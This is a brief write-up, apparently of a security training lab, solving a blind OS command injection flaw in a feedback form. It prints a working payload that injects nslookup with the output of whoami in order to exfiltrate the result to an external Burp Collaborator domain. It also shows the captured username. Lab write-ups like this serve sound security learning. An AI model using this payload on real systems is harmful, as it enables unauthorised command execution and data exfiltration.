
Blind OS command injection with out-of-band data exfiltration

1. This lab contains a blind OS command injection vulnerability in the feedback function.
2. The application executes a shell command containing the user-supplied details. The command is executed asynchronously and has no effect on the application's response. It is not possible to redirect output into a location that you can access. However, you can trigger out-of-band interactions with an external domain.
3. All the steps are the same as the previous lab except the payload.
4. Payload: `|| nslookup `whoami` .nwng9r1qa0mk5fel8er0jhxrqiw9k28r.oastify.com ||`
5. When I click on pull now, the response is containing the result of **whoami** command as a subdomain to my burp collaborator subdomain.
6. The current user is **peter-5GG20g**



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LAB Solved

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